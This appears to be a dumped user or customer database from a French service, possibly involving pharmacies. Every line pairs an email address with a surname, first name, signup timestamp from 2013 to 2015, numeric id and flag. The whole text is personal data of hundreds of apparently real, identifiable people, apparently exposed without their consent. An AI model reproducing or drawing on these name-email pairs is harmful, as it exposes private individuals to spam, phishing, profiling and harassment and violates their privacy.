+2621;moniquederville@gmail.com;2014-06-21 07:23:20;dervillé;monique;1 +3547;Monjarret.lolita@outlook.fr;2014-10-08 15:07:04;daubin;lolita;1 +3400;montagnev@hotmail.fr;2014-09-23 08:25:44;MONTAGNE;Valérie;1 +4769;moon270@hotmail.fr;2015-01-22 10:04:54;coignet;karine;1 +2737;moontriballissima001@yahoo.com;2014-07-03 13:20:07;JUBELIN;MARIE;1 +1609;moreau-agathe@hotmail.fr;2014-04-09 03:03:34;Moreau;Agathe;1 +1080;moreau.roxane@gmail.com;2014-02-02 10:59:01;moreau;roxane;1 +678;morel.nath@hotmail.fr;2013-12-11 15:29:59;MOREL-LAJEUNESSE;Nathalie;1 +4331;morel.sabrina46@neuf.fr;2014-12-06 19:06:21;Cayet;Sabrina;1 +3582;morgane.grandpierre@gmail.com;2014-10-13 10:34:40;grandpierre;morgane;1 +3879;morgane.peny@gmail.com;2014-11-03 22:00:00;PENY;Morgane;1 +2246;moriaud@yahoo.fr;2014-05-21 18:48:00;Moriau;Delphine;1 +4713;MOTOMALLO@GMAIL.COM;2015-01-14 10:33:50;DUBOIS;MALLORY;1 +2721;moumi2narbonne@gmail.com;2014-07-01 16:06:05;MALAN;Anne-Marie;1 +609;moyi3@sina.com;2013-12-02 21:02:53;PAN;Xingxing;1 +3792;mp.ruther@yahoo.fr;2014-10-30 12:28:07;RUTHER;marie pierre;1 +1748;mp.somville-iris@skynet.be;2014-04-18 22:59:12;Somville;Marie;1 +4371;mpayet81@gmail.com;2014-12-09 13:00:13;payet;maureen;1 +2220;msac.2@sfr.fr;2014-05-20 11:04:23;Saclier;Marlene;1 +974;mtcbourges@gmail.com;2014-01-22 09:14:01;Lorreyte;Christophe;1 +2525;mtorrent@numericable.fr;2014-06-11 15:47:51;Torrent;Marie;1 +178;Muganga73@gmail.com;2013-09-25 17:28:52;Ganga;Mu;1 +1643;muriel.le-cam@orange.fr;2014-04-12 17:57:26;Cam;Muriel;1 +3923;muriel.logie@wanadoo.fr;2014-11-06 12:48:46;LOGIE;Muriel;1 +4709;Murielbianco@live.fr;2015-01-13 17:42:01;Bianco;Helene;1 +1795;murielle-harold@hotmail.fr;2014-04-22 19:45:31;deshayes;murielle;1 +1745;murielle.crespo@hotmail.fr;2014-04-18 14:17:00;CRESPO;MURIELLE;1 +189;murielle.viany@orange.fr;2013-09-26 13:22:10;viany;Murielle;1 +3180;murielmutel@yahoo.fr;2014-08-29 14:30:15;mutel;muriel;1 +3217;myasnikova.tatyana@gmail.com;2014-09-03 21:24:18;MYASNIKOVA;TATYANA;1 +3219;mykin@hotmail.fr;2014-09-04 00:38:23;HANAIZI;SAMIRA;1 +528;mynypuce@hotmail.com;2013-11-20 22:50:02;PASTOR;Julie;1 +658;myriam.hanryon793@orange.fr;2013-12-07 15:23:19;HANRYON;Myriam;1 +1187;myriamarello@gmail.com;2014-02-18 09:32:45;Marello;Myriam;1 +3457;myriamrei@gmail.com;2014-09-30 13:04:00;Reimeringer;Myriam;1 +2387;myriam_s@sunrise.ch;2014-06-01 14:02:56;Schumacher Ghiouane;Myriam;1 +2588;mysticpuce@yahoo.fr;2014-06-17 20:06:24;DAI;Sophia;1 +766;m_mendionde@yahoo.fr;2013-12-19 12:55:51;MENDIONDE;MYLENE;1 +4953;n.behri@hotmail.fr;2015-02-08 00:23:07;Behri;Najla ;1 +4109;n.beny@live.fr;2014-11-19 19:35:42;Benyahia;Nora;1 +239;n.conte@hotmail.fr;2013-10-14 18:13:52;Conte;Nadege;1 +848;n.delarbre@orange.fr;2014-01-02 14:47:18;DELARBRE BERTOLDO;NATHALIE;1 +3746;n881ini@hotmail.com;2014-10-27 13:01:49;da silva;virginie;1 +3341;nabilaya@hotmail.fr;2014-09-17 13:45:54;gourgaiz;Nabila;1 +3486;nace1960@live.fr;2014-10-02 16:09:15;Foughali;Nacera;1 +712;nadege.artaud@yahoo.fr;2013-12-14 10:30:29;artaud;nadege;1 +3619;nadege.rosik@wanadoo.fr;2014-10-16 08:55:19;ROSIK;Nadège;1 +4632;nadelou@gmail.com;2015-01-03 06:23:27;SABLAYROLLES;Nadège;1 +3092;nadia.betto@hotmail.fr;2014-08-17 15:16:44;Betto;Nadia;1 +954;nadia.guembour@gmail.com;2014-01-19 02:28:44;GUEMBOUR;NADIA;1 +1089;nadia.nunez@orange.fr;2014-02-02 15:59:22;NUNEZ;NADIA;1 +4777;NadiaIciakene@aol.com;2015-01-23 17:14:45;ICIAKENE;NADIA;1 +837;nadiaverstraetegaid@orange.fr;2013-12-30 17:45:12;verstraete gaid;nadia;1 +1798;Nadine.douchin@sdgt.fr;2014-04-23 00:41:26;Douchin;Nadine;1 +811;nadine.lerib@nordnet.fr;2013-12-26 20:32:37;lerib;nadine;1 +4197;nadine.livemont@hotmail.com;2014-11-27 15:01:10;Livemont;NADINE;1 +3114;nadinelecordier@gmail.com;2014-08-21 16:41:36;le cordier;Nadine;1 +4577;naelcaro@laposte.net;2014-12-25 15:51:13;Gaonac'h;Caroline;1 +733;naijia_amel@hotmail.com;2013-12-16 10:44:11;Nouira;Rahma;1 +3752;nala_fripouille@yahoo.fr;2014-10-27 17:05:58;Benarroche;Loetycia;1 +2245;namigo@orange.fr;2014-05-21 18:46:31;LE GOFF;NATHALIE;1 +2517;namirahaouni@gmail.com;2014-06-10 17:26:31;HAOUNI;Namira;1 +2131;nanacool@free.fr;2014-05-12 21:33:45;BORDES;NADINE;1 +3718;nancy.george79@orange.fr;2014-10-24 18:09:53;GEORGE;Nancy;1 +3499;nancybrug@outlook.com;2014-10-03 22:56:32;Brugueirolle Lamarque ;Nancy;1 +702;nanie.morlet@laposte.net;2013-12-13 16:07:55;MALAPERT;VIRGINIE;1 +3211;nannielacaille@hotmail.fr;2014-09-02 22:01:52;roberti;anne louise;1 +64;nannucci26@yahoo.fr;2013-08-26 08:03:22;nannucci;francine;1 +393;nanny.sim@gmail.com;2013-11-01 13:15:29;COURTEIX;STEPHANIE;1 +2562;nanou.card03@orange.fr;2014-06-15 08:30:16;Cardoso;nathalie;1 +4781;nanou220374@hotmail.fr;2015-01-23 21:34:48;FLORI;Anne;1 +2451;nat.neuville@wanadoo.fr;2014-06-05 12:06:54;neuville;nathalie;1 +156;nat2000x@laposte.net;2013-09-21 16:12:41;RIZZO;Nathalie;1 +54;natacha.bucher@bluewin.ch;2013-08-22 10:45:25;Grossert-Bucher;Natacha;1 +220;natahlie.klein@free.fr;2013-10-02 16:49:29;klein;nathalie;1 +1323;natallegre@laposte.net;2014-03-10 12:26:31;allegre;nathalie;1 +4536;natasha1976@hotmail.fr;2014-12-19 16:14:07;ESPIRAT;Natacha;1 +878;natgeorge2@orange.fr;2014-01-07 09:45:05;George;Nathalie;1 +107;natgrandin@aol.com;2013-09-11 15:08:20;GRANDIN;Nathalie;1 +3531;nath.dulong@wanadoo.fr;2014-10-06 22:11:17;Dulong;Nathalie;1 +358;nathal61@hotmail.fr;2013-10-26 18:17:32;derouault;nathalie;1 +4133;nathalie-deborde@orange.fr;2014-11-22 16:08:53;DEBORDE;NATHALIE;1 +3463;nathalie.couillard@wanadoo.fr;2014-09-30 18:09:53;couillard;nathalie;1 +3032;nathalie.georgemel@gmail.com;2014-08-08 00:12:34;georgemel;nathalie;1 +1741;nathalie.haegelen@gmail.com;2014-04-18 11:21:02;HAEGELEN-SENEGAS;Nathalie;1 +5028;nathalie.hirth@hotmail.fr;2015-02-13 11:47:40;HIRTH;NATHALIE;1 +384;nathalie.leroy4@hotmail.fr;2013-10-30 16:34:46;LEROY;Nathalie;1 +1306;nathalie.maisonnave@gmail.com;2014-03-11 22:52:14;Maisonnave;Nathalie;1 +2838;nathalie.napolitano@sfr.fr;2014-07-14 19:21:07;NAPOLITANO;nathalie;1 +1991;nathalie.patelli@yahoo.fr;2014-05-02 19:54:02;ELDAROFF PATELLI;Nathalie;1 +963;nathalie.pharmacieprincipale@gmail.com;2014-01-20 14:45:19;stephan;nathalie;2 +2336;nathalie.szczudlo@eu.umicore.com;2014-05-28 14:14:42;szczudlo;nathalie;1 +2908;nathalie3011@hotmail.com;2014-07-23 22:50:22;Henry;Nathalie;1 +3985;nathaliegainon.vb@gmail.com;2014-11-11 10:16:05;GAINON;NATHALIE;1 +2555;nathaliekaefer@yahoo.fr;2014-06-14 11:49:01;KAEFER;Nathalie;1 +386;nathaliem0383@orange.fr;2013-10-30 17:09:08;mahieux;nathalie;1 +2206;nathaliemessage@hotmail.com;2014-05-18 19:59:09;poutrel;nathalie;1 +250;nathalieroulaud@gmail.com;2013-10-08 04:09:27;MERCOYROL;Nathalie;1 +1910;nathalie_gusic@yahoo.fr;2014-04-30 08:57:30;GUSIC;Nathalie;1 +294;nathaly23000@yahoo.fr;2013-10-16 09:07:55;SAVINEAU;NATHALY;1 +625;nath_lovely@hotmail.com;2013-12-03 21:10:54;carbonneaux;Nathalie ;1 +421;natnat73250@hotmail.fr;2013-11-06 14:06:41;falappi;nathalie;1 +3908;natslach@gmail.com;2014-11-04 22:24:13;SILVA;nathalie;1 +2045;nawel_rif@hotmail.fr;2014-05-05 22:07:39;HADI;NAWEL;1 +3901;nell.ferriere@gmail.com;2014-11-04 16:26:51;Ferriere;Nell;1 +148;nelly.goanvec@bbox.fr;2013-09-19 13:36:23;goanvec;nelly;1 +3664;nelly.lamarque.14@gmail.com;2014-10-19 20:02:52;lamarque;nelly;1 +1000;nelly.lopez@bbox.fr;2014-01-25 06:50:32;Lopez;Nelly;1 +1465;nellydoucet@neuf.fr;2014-03-27 10:01:12;DOUCET;NELLY;1 +1947;nemesis-divina@hotmail.fr;2014-05-01 11:54:26;KNOWLER;CAMILLE;1 +3014;nespot@dbmail.com;2014-08-05 15:29:13;POTTIER;Agnès;1 +1734;ness306cc@hotmail.com;2014-04-17 19:40:50;Theys;Vanessa;1 +4377;ness3846@gmail.com;2014-12-09 22:20:46;perrichon;vanessa;1 +887;nfeddoul@hotmail.com;2014-01-08 13:50:30;FEDDOUL;NADIA;1 +2896;ngakpat@yahoo.fr;2014-07-22 14:22:51;Ngako;Patrick;1 +222;ngprevel@free.fr;2013-10-02 20:11:16;prevel;nadine;1 +4864;niamakono@gmail.com;2015-01-31 16:55:57;MAUDUIT;MARIAMA;1 +3187;nickilyan@orange.fr;2014-08-30 12:25:52;PICARD;NICOLE;1 +1905;Nicochamp@club-internet.fr;2014-04-29 21:24:59;Champoussin;Nicole;1 +3693;nicolas.germain40@sfr.fr;2014-10-22 16:23:47;germain;alexandra;1 +2123;nicole.calatrava@wanadoo.fr;2014-05-12 11:01:27;CALATRAVA;Nicole;1 +4667;nicole.cohen99@gmail.com;2015-01-07 21:04:12;COHEN;NICOLE;1 +4891;nicole.escaut@orange.fr;2015-02-02 21:14:35;ESCAUT;Nicole;1 +2731;nicole.gally@icloud.com;2014-07-02 16:17:31;Gally;Nicole;1 +4113;nicole.rouchouze@wanadoo.fr;2014-11-20 09:23:36;rouchouze;nicole;1 +1263;nicole7512@hotmail.fr;2014-03-02 07:41:03;robic;nicole;1 +4830;nicolecontacts@gmail.com;2015-01-26 22:14:53;marteau;Nicole;1 +4159;nimrodelle@orange.fr;2014-11-24 20:24:01;PINEAU;DELPHINE;1 +2546;ninisclubs@yahoo.fr;2014-08-27 13:41:52;arteta;virginie;1 +4829;nmatray@me.com;2015-01-26 21:25:28;MATRAY;Natacha;1 +3948;Noalayna@hotmail.fr;2014-11-07 18:23:21;Husson;emilie;1 +741;nobletmartine@yahoo.gr;2013-12-17 00:50:31;noblet;martine;1 +2686;noemie.58@hotmail.fr;2014-06-28 09:41:04;BRISSARD;Noémie;1 +4975;noemie.vauthelin@gmail.com;2015-02-09 10:58:54;VAUTHELIN;Noémie;1 +1234;Noemie_d8@hotmail.fr;2014-02-25 20:52:30;Devogelaere;Noémie;1 +2969;Noluen.gasperini@gmail.com;2014-07-30 14:03:02;Gasperini;Noluen;1 +946;nomarj@free.fr;2014-01-17 16:23:05;ROMAN;Marjorie;1 +1554;nono.gin@hotmail.fr;2014-04-05 17:07:01;ginouvier;brigitte;1 +786;norazz@hotmail.fr;2013-12-22 15:12:13;Latroch;Nora;1 +983;nourajamal@hotmail.com;2014-01-22 23:34:27;Noura;El Jamal;1 +4705;nrobasse@prefinelec.fr;2015-01-13 11:59:06;ROBASSE;NATHALIE;1 +803;Nsd04180@orange.fr;2013-12-25 11:27:08;Sauve;Nadia;1 +4497;nsimorre@wanadoo.fr;2014-12-16 15:42:42;Simorre;Nadia;1 +2100;ntengler@web.de;2014-05-10 11:37:54;Tengler;Nathalie;1 +4203;nutzy_fr@yahoo.fr;2014-11-28 08:23:46;PAWLOWSKI;MELANIE;1 +300;o.cuberes@laposte.net;2013-10-17 11:04:04;CUBERES;BETTY;1 +1406;oce1949@orange.fr;2014-03-21 15:33:13;cenzato;ode;1 +1008;odette.guillemot@sfr.fr;2014-01-26 13:59:19;guillemot;odette;1 +792;olicia@wanadoo.fr;2013-12-23 07:43:07;PAULY;PATRICIA;1 +1519;olimariplume@aol.com;2014-03-31 23:27:46;Koch;Marie-Pierre;1 +2414;olivia.constant@yahoo.fr;2014-06-02 19:49:31;CONSTANT;Olivia;1 +805;oliviaeudot@yahoo.fr;2013-12-25 20:22:41;Eudot;Olivia;1 +3999;oliviawen92@yahoo.com;2014-11-12 00:56:13;WEN;CONGLIN;1 +233;olivier.muriel56@orange.fr;2013-10-05 22:38:48;potier;mutiel;1 +582;olivier.paintendre@gmail.com;2013-11-28 10:25:01;Paintendre;Olivier;1 +1018;olympe.llop@gmail.com;2014-01-27 14:17:23;Larrazet Llop;Olympe;1 +1014;olympe@irelook.com;2014-01-27 01:13:39;Crespin;Olympe;1 +1042;ombeline.dorleans@hotmail.fr;2014-01-29 10:43:08;Dorléans;Ombeline;1 +2370;ophelie.niquet@gmail.com;2014-05-30 16:58:16;NIQUET;Ophelie;1 +4584;opheliecomina@yahoo.fr;2014-12-26 20:29:30;Comina;Ophélie;1 +1256;opheliehaudeberg@orange.fr;2014-03-01 16:34:26;HAUDEBERG;Ophélie;1 +1805;osenth@gmail.com;2014-04-23 12:40:21;Osenda;Thérèse;1 +2639;oxygenesept@gmail.com;2014-06-23 03:32:13;OYARZO;fabiola;1 +321;p.dufournet@hotmail.fr;2013-10-20 15:26:30;DUFOURNET;PASCALE;1 +4252;p.legalles@free.fr;2014-12-01 14:04:03;LE GALLES;Pascale;1 +4173;pacalim@wanadoo.fr;2014-11-25 19:15:42;HEQUET SELLE;CATHERINE;1 +4669;paillardsabrina@orange.fr;2015-01-08 00:04:53;Paillard;Sabrina ;1 +3978;palerme.nadine@gmail.com;2014-11-10 19:22:40;PALERME;NADINE;1 +454;pam2541@aol.com;2013-11-10 09:43:30;Barge;Huguette;1 +4394;paola-mateos@bbox.fr;2014-12-11 08:35:41;Mateos;Paola;1 +4594;papat44@hotmail.fr;2014-12-28 09:24:13;clemencon;patricia;1 +1775;papillion88@hotmail.fr;2014-04-21 16:15:29;marchal;fanny;1 +2892;Papoudromard@aol.com;2014-07-21 17:27:53;DROMARD;Florine;1 +3422;pappilio@free.fr;2014-09-25 16:32:49;TROUILLET;Séverine;1 +4874;papynene@hotmail.fr;2015-02-01 02:57:52;objois;patricia;1 +846;paquerette7777@gmail.com;2014-01-02 10:42:47;PONCIN;Marie;1 +1634;parly.genevieve@bbox.fr;2014-04-11 16:57:08;Parly;Geneviève;1 +2043;pascal.lebreton63@gmail.com;2014-05-05 18:01:53;Lebreton;Pascal;1 +94;pascal.pivot@club-internet.fr;2013-09-06 08:40:21;pivot;isabelle;1 +3898;pascal.tricaud@wanadoo.fr;2014-11-04 15:20:44;tricaud;mélanie;1 +130;pascal.zingile@neuf.fr;2013-09-16 00:19:13;zingile;pascal;1 +775;pascale.bonneau@regis-location.com;2013-12-20 16:03:15;bonneau;Pascale;1 +1065;pascale.dandrea@laposte.net;2014-03-11 11:20:09;D'Andréa;Pascale;1 +2703;pascale.gallon@wanadoo.fr;2014-06-30 11:09:45;bonnefoy burel;Pascale;1 +2047;PASCALE.LESCUREUX@GMAIL.COM;2014-05-05 23:05:13;LESCUREUX;Pascale;1 +3239;pascale.marandon@free.fr;2014-09-07 09:27:54;MARANDON;PASCALE;1 +3368;pascale.mas2@wanadoo.fr;2014-09-19 19:11:06;mas;pascale;1 +1707;pascale.saussez@yahoo.fr;2014-04-16 10:25:34;Saussez-Bavier;pascale;1 +4872;pascale35740@hotmail.fr;2015-01-31 20:52:36;roquier;pascale;1 +736;pascalefrigot@hotmail.fr;2013-12-16 17:16:27;FRIGOT;PASCALE;1 +1663;pascalegrimaud@yahoo.fr;2014-04-13 17:51:24;GRIMAUD;PASCALE;1 +828;pascaleraymond66@gmail.com;2013-12-29 17:19:09;RAYMOND;PASCALE;1 +996;pascalevert13610@gmail.com;2014-01-24 19:11:13;vert;PASCALE;1 +3054;pascale_p_2@hotmail.com;2014-08-11 12:09:55;Pottier;Pascale;1 +4347;pascalmayeux@live.fr;2014-12-07 23:09:41;Mayeux;Pascal;1 +3290;Passad@laposte.net;2014-09-11 12:53:20;Adad;Sophie;1 +855;pastachou77@gmail.com;2014-01-02 22:00:17;BENAYOUN;NATACHA;1 +184;Pat.labriffe@orange.fr;2013-09-25 20:13:49;Labriffe;Annick;1 +1718;pat.philou@orange.fr;2014-04-16 22:56:34;CLAVERE;Patricia;1 +4601;patlio@sfr.fr;2014-12-29 12:56:55;RUNSER;PATRICIA;1 +2878;patou0801@aol.com;2014-07-19 23:00:35;fuentes;patricia;1 +426;patreategui@hotmail.com;2013-11-07 13:49:29;patricia;reategui;1 +493;Patri-chat@hotmail.fr;2013-11-14 21:44:36;Potier;Patricia;1 +605;patricia-chateau@sfr.fr;2013-12-02 11:27:16;KLENCK NICOLAS;PATRICIA;1 +4695;patricia.alleau@orange.fr;2015-01-11 17:11:13;ALLEAU;patricia;1 +3618;patricia.gendron@laposte.net;2014-10-16 02:34:21;gendron;patricia;1 +2316;patricia.ghasemi@laposte.net;2014-05-27 08:25:56;GHASEMI;Patricia;1 +1252;patricia.klenck_nicolas@club-internet.fr;2014-03-01 12:47:26;klenck/nicolas;patricia;1 +2924;patricia.lebre@ac-nantes.fr;2014-07-26 10:21:04;LEBRE;Patricia;1 +1591;patricia.mille@free.fr;2014-04-08 11:39:06;mille;patricia;1 +870;Patricia.ousselin@wanadoo.fr;2014-01-05 18:45:11;Ousselin;Patricia;1 +3260;patricia.palamara@orange.fr;2014-09-09 12:28:28;Palamara;Patricia;1 +2331;patricia.reeves@bonnefous.ch;2014-05-28 09:21:15;Reeves;Patricia;1 +1327;patricia.sertori@wanadoo.fr;2014-03-10 20:15:10;sertori;patricia;1 +430;patricia.vernazobres@gmail.com;2013-11-07 16:05:18;VERNAZOBRES;PATRICIA;1 +4893;patricialassalle@free.fr;2015-02-02 23:12:58;Lassalle;Patricia;1 +1969;patrick.bailleul2@wanadoo.fr;2014-05-01 21:09:15;bailleul;sylvie;1 +1043;patrick.bariller846@orange.fr;2014-01-29 10:54:28;bariller;dominique;1 +2700;patrick.morceau@wanadoo.fr;2014-06-29 18:55:27;Morceau;Patrick;1 +2014;patrick.rollet51@orange.fr;2014-05-04 10:42:16;ROLLET;Marie-france;1 +2750;patrickguiet@outlooK.fr;2014-07-04 20:49:47;GUIET;Marie-Danièle;1 +3177;patricklebaudour@hotmail.fr;2014-08-29 12:01:21;le baudour;jacqueline;1 +972;Patsf@sfr.fr;2014-01-22 07:57:04;Soto;Patricia;1 +3852;patvitrail@yahoo.fr;2014-11-03 14:35:56;PICHON;patricia;1 +4379;pat_bucau@hotmail.fr;2014-12-10 09:38:18;BUCAU;Patricia;1 +465;paulettenjel@yahoo.fr;2013-11-11 13:23:01;NGO NJEL;PAULETTE;1 +3881;pauline.davigny@gmail.com;2014-11-03 22:36:00;Davigny;Pauline;1 +4887;pauline.hasenclever@wanadoo.fr;2015-02-02 11:37:20;HASENCLEVER;Pauline;1 +4117;paulinen247@yahoo.fr;2014-11-20 16:09:05;Nicolas;pauline;1 +3930;pbx@netcabo.pt;2014-11-06 21:05:28;bailote;maria;1 +990;pcpascalechretien@gmail.com;2014-01-23 19:47:52;Chrétien;Pascale;1 +833;pechenard.herta@hotmail.fr;2013-12-30 09:38:20;Pechenard;Hrta;1 +2027;peigné.dom@gmail.com;2014-05-04 21:18:12;Peigné;Yvette;1 +1313;peintre10scala@gmail.com;2014-03-08 20:16:07;DI SCALA;SYLVIE;1 +2176;pelissier.jo@orange.fr;2014-05-15 19:49:17;pelissier;dominique;1 +4190;penillon.magali@yahoo.fr;2014-11-26 20:41:31;penillon;Magali;1 +4312;pennecfanny@wanadoo.fr;2014-12-05 20:35:47;PENNEC;NANEE;1 +4025;pepegwada@gmail.com;2014-11-15 08:52:57;Prudentos ;Peggy;1 +753;pepette_1345@hotmail.fr;2013-12-17 22:05:26;Perrichot;Pénélope;1 +2889;Pernollet.erika@hormail.fr;2014-07-21 14:48:10;Pernollet ;Erika;1 +3876;perrier.brest@gmail.com;2014-11-03 19:39:45;Migot;Maud;1 +1220;perrineylan@hotmail.fr;2014-02-23 18:49:25;cistarelli;perrine;1 +4365;perucaroline@free.fr;2014-12-09 04:39:22;PERU;Caroline;1 +2911;petitenadia06@hotmail.fr;2014-07-24 12:43:04;ferrer;nadia;1 +1872;petitesouris6897@ymail.com;2014-04-27 17:41:17;laurence;catherine;1 +4207;petra@alpenland-immobilien.at;2014-11-28 10:38:03;Hildenbrandt;Petra;2 +2484;peuletdominique@gmail.com;2014-06-08 15:38:16;peulet;dominique;1 +37;pfm6@wanadoo.fr;2013-08-15 18:36:08;Rault;Françoise;1 +1189;ph2o@orange.fr;2014-02-18 18:29:41;barra;coralie;1 +735;pharmacie-cotedargent@orange.fr;2013-12-16 16:32:37;desarnaud;corinne;1 +440;pharmacie.alienor24@wanadoo.fr;2013-11-08 15:20:20;laurence;duroux;1 +377;pharmacie.bernusset@perso.alliadis.net;2013-10-29 16:15:07;pasquali;jennifer;1 +906;pharmacie.brodu.charpentier@wanadoo.fr;2014-01-11 14:17:52;ROUZIOUX;MIREILLE;2 +218;pharmacie.gaime@offisecure.com;2013-10-02 14:05:45;Gaime;Marie France;1 +143;Pharmacie.grandvillage@aol.fr;2013-09-18 17:33:34;sekhri;fadila;1 +700;pharmacie.picardo@laposte.net;2013-12-13 14:45:00;picardo;laurent;1 +315;pharmacieatlantis@perso.alliadis.net;2013-10-19 18:35:00;audouard;cecile;1 +3353;pharmaciebonifacio@orange.fr;2014-09-18 14:54:15;paolini;patrick;1 +201;pharmaciedelachapelle@offisecure.com;2013-09-27 17:10:25;casado;Amélie;1 +729;pharmaciedesalpes.marina@orange.fr;2013-12-15 21:57:10;SOPHIE;GALLIER;2 +155;pharmacieduforon@orange.fr;2013-09-21 14:24:51;jacquart;catherine;1 +369;pharmaciedujayon@perso.alliadis.net;2013-10-28 17:15:33;BADEY;CATHERINE;2 +119;pharmaciedumelezin@orange.fr;2013-09-13 09:29:42;druez;laurie;1 +316;pharmagare.34@orange.fr;2013-10-19 22:53:32;Boniol;Elodie;1 +415;phcie.ernenwein@perso.alliadis.net;2013-11-05 17:32:29;ERNENWEIN;chantal;2 +479;phie-du-forum@perso.alliadis.net;2013-11-13 14:14:36;Lassoutiere;pauline;1 +2511;phie.hascoet@wanadoo.fr;2014-06-10 14:07:45;hascoet;cecile;1 +3322;philibert.alexandra@outlook.com;2014-09-14 20:59:06;Philibert;Alexandra;1 +4563;philippe.ruminus@orange.fr;2014-12-23 15:45:16;ruminus;nathalie;1 +3758;philippe.spampin@orange.fr;2014-10-27 23:41:39;SPAMPIN;christine;1 +1127;philippemoreaux@aol.com;2014-02-05 19:13:15;VALERIE;MOREAUX;1 +1575;philo.b@hotmail.fr;2014-04-07 07:51:03;HERNANDEZ;PATRICIA;1 +116;philzen28056025@gmail.com;2013-09-12 15:28:59;bereau;isabelle;1 +3616;pichoncar@hotmail.fr;2014-10-15 23:02:01;portugal;Helene;1 +4294;pierredomi2b@orange.fr;2014-12-04 16:29:23;GIBOUT;Dominique;1 +462;pierreetvanda@orange.fr.fr;2013-11-11 08:57:07;dartois;wanda;1 +1483;pilpous29@sfr.fr;2014-03-28 21:34:54;MAZE;Patricia;1 +1600;pinoo540@gmail.com;2014-04-08 17:30:29;KAISER;ORIANE;1 +4931;pisenenadia@gmail.com;2015-02-06 17:31:29;Pisene;Nadia;1 +3796;pitikiwi01@hotmail.com;2014-10-30 21:36:04;croiseau;céline;1 +4518;pitoune1322@gmail.com;2014-12-17 18:31:39;Rossi;Monique;1 +2285;planche.martine@free.fr;2014-05-24 17:46:52;PLANCHE;MARTINE;1 +1093;plume_marie@hotmail.fr;2014-02-02 20:38:48;Hernault;Marie;1 +2127;pocketvich@hotmail.fr;2014-05-12 18:43:22;Weiss;Virginie;1 +3940;poirier.emmeline@gmail.com;2014-11-07 11:10:12;POIRIER;EMMELINE;1 +5006;pollymiaou2@hotmail.fr;2015-02-11 14:38:58;basson;natacha;1 +4770;pongoson@hotmail.com;2015-01-22 10:10:03;Monnier;Muriel;1 +2549;pons.michele@gmail.com;2014-06-13 13:37:00;Pons;Michèle;1 +740;poppy.rene@orange.fr;2013-12-16 23:30:29;RENE;Anne;1 +1210;porte.sylvie@free.fr;2014-02-22 17:44:07;PORTE;SYLVIE;1 +1148;potaleon@gmail.com;2014-02-09 23:39:35;BAR;Laurence;1 +231;potdevinlaurent@neuf.fr;2013-10-05 11:13:37;potdevin;laurent;1 +3170;potier.severine@gmail.com;2014-08-27 20:50:17;POTIER;SEVERINE;1 +2829;poudroux.chantal@akeonet.com;2014-07-13 19:31:42;poudroux;Chantal;1 +1092;pourkoibisou@hotmail.com;2014-02-02 18:47:06;Vauthelin;Charlotte;1 +2551;poussou@outlook.fr;2014-06-13 14:06:03;ESTEVES;FERNANDA;1 +3882;pradinemarieclaire0@orange.fr;2014-11-03 22:56:38;Pradine;Marie-claire;1 +1201;pretrot.annabelle1@gmail.com;2014-02-21 10:29:23;PRETROT;ANNABELLE;1 +3855;princesse.bibine@gmail.com;2014-11-03 15:56:50;bastard;sabine;1 +4373;priscadu24@hotmail.fr;2014-12-09 14:36:38;VANEY;PRISCA;1 +3536;priscbella01@yahoo.fr;2014-10-07 12:40:31;mesuret;priscille;1 +968;priscillia.mazza@laposte.net;2014-01-20 23:29:48;Mazza;Priscillia;1 +2460;privat@mazere.de;2014-06-06 00:07:33;HECKER-MAZERE;Elisabeth;1 +3379;proflascurettes@free.fr;2014-09-20 13:14:15;LASCURETTES;CHRISTEL ;1 +2858;pruninie9@aol.com;2014-07-17 19:24:47;macrel;virginie;1 +862;pticoeur05@hotmail.fr;2014-01-03 22:48:03;durand;amandine;1 +3206;qylchloe@bu.edu;2014-09-02 04:07:09;Li;Qinyan;2 +1338;r.vaslet@gmail.com;2014-03-11 23:00:54;Vaslet;Romain;1 +2307;r1girl@free.fr;2014-05-26 12:37:06;Gastebois;Marie;1 +2796;rachel09081981@hotmail.com;2014-07-09 09:53:20;cantrel;rachel;1 +4506;rachel34090@hotmail.fr;2014-12-17 11:10:26;MARQUES;Rachel;1 +3313;rachelwattel@gmail.com;2014-09-13 15:54:27;Wattel;Rachel ;1 +857;rafka62@hotmail.fr;2014-01-03 01:17:22;bordzakian;orlane;1 +623;rainbow352009@live.fr;2013-12-03 20:19:03;ALBISSER;Claudie;1 +4744;rania.kettane94@gmail.com;2015-01-19 12:11:03;boussadia;rania;1 +719;ranista@yahoo.fr;2013-12-14 21:54:29;RAIS;JALIA;1 +174;raphael.munoz@neuf.fr;2013-09-25 14:07:18;MUNOZ;STEPHANIE;1 +1941;raphaelle.gerum@sfr.fr;2014-05-01 10:47:02;gerum;Raphaëlle ;1 +3594;Raquelsrocha@gmail.com;2014-10-13 21:55:46;Rocha;Raquel;1 +4914;rasm@voila.fr;2015-02-04 20:58:39;ras;melanie;1 +373;rattier.florence@neuf.fr;2013-10-29 14:41:26;rattier cittadini;florence;1 +2126;ratus25080@wanadoo.fr;2014-05-12 16:31:56;beghin;aurelie;1 +2667;rauffet.annais@orange.fr;2014-06-25 22:51:48;RAUFFET;Annaïs;1 +916;rauturieragathe@me.com;2014-01-12 16:00:31;RAUTURIER;AGATHE;1 +4082;Raymond.jennyfer@yahoo.fr;2014-11-18 15:29:16;RAYMOND;Jennifer;1 +3043;raymond.legault2@orange.fr;2014-08-09 10:17:41;legault;raymond;1 +1006;raymonde.bourcet@live.fr;2014-01-26 09:20:04;BOURCET;RAYMONDE;1 +4802;rchlpl@gmail.com;2015-01-25 11:12:29;planet;rachel;1 +2887;regine.bergdoll@gmail.com;2014-07-21 14:11:15;BERGDOLL;Régine;1 +4954;regine.relouzat@gmail.com;2015-02-08 04:44:31;RELOUZAT;REGINE;1 +4183;regine2812@laposte.net;2014-11-26 14:58:21;LACHARNAY;regine;1 +4800;reine-marie.armand@laposte.net;2015-01-24 23:47:05;armand;reine-marie;1 +851;reinedesquiches@msn.com;2014-01-02 18:09:28;veyrier;cloe;1 +554;remir.marlene@wanadoo.fr;2013-11-24 18:12:05;MELKIOR REMIR;Marlène;1 +705;remy.garayalde@me.com;2013-12-13 19:04:09;GARAYALDE;Rémy;1 +4124;renaudineau.dany@neuf.fr;2014-11-21 09:24:35;TURPIN RENAUDINEAU;DANY;1 +4902;rene-blein@orange.fr;2015-02-03 19:39:08;BLEIN;Michèle;1 +2541;rene.55@wanadoo.fr;2014-06-12 16:29:47;PICART;MARIE ODILE;1 +4799;renouardc@wanadoo.fr;2015-01-24 22:56:43;renouard;christiane;1 +4542;renson.fabienne@yahoo.com;2014-12-20 15:50:37;renson;fabienne;1 +3013;rey.hare@wanadoo.fr;2014-08-05 13:40:16;rey;florence;1 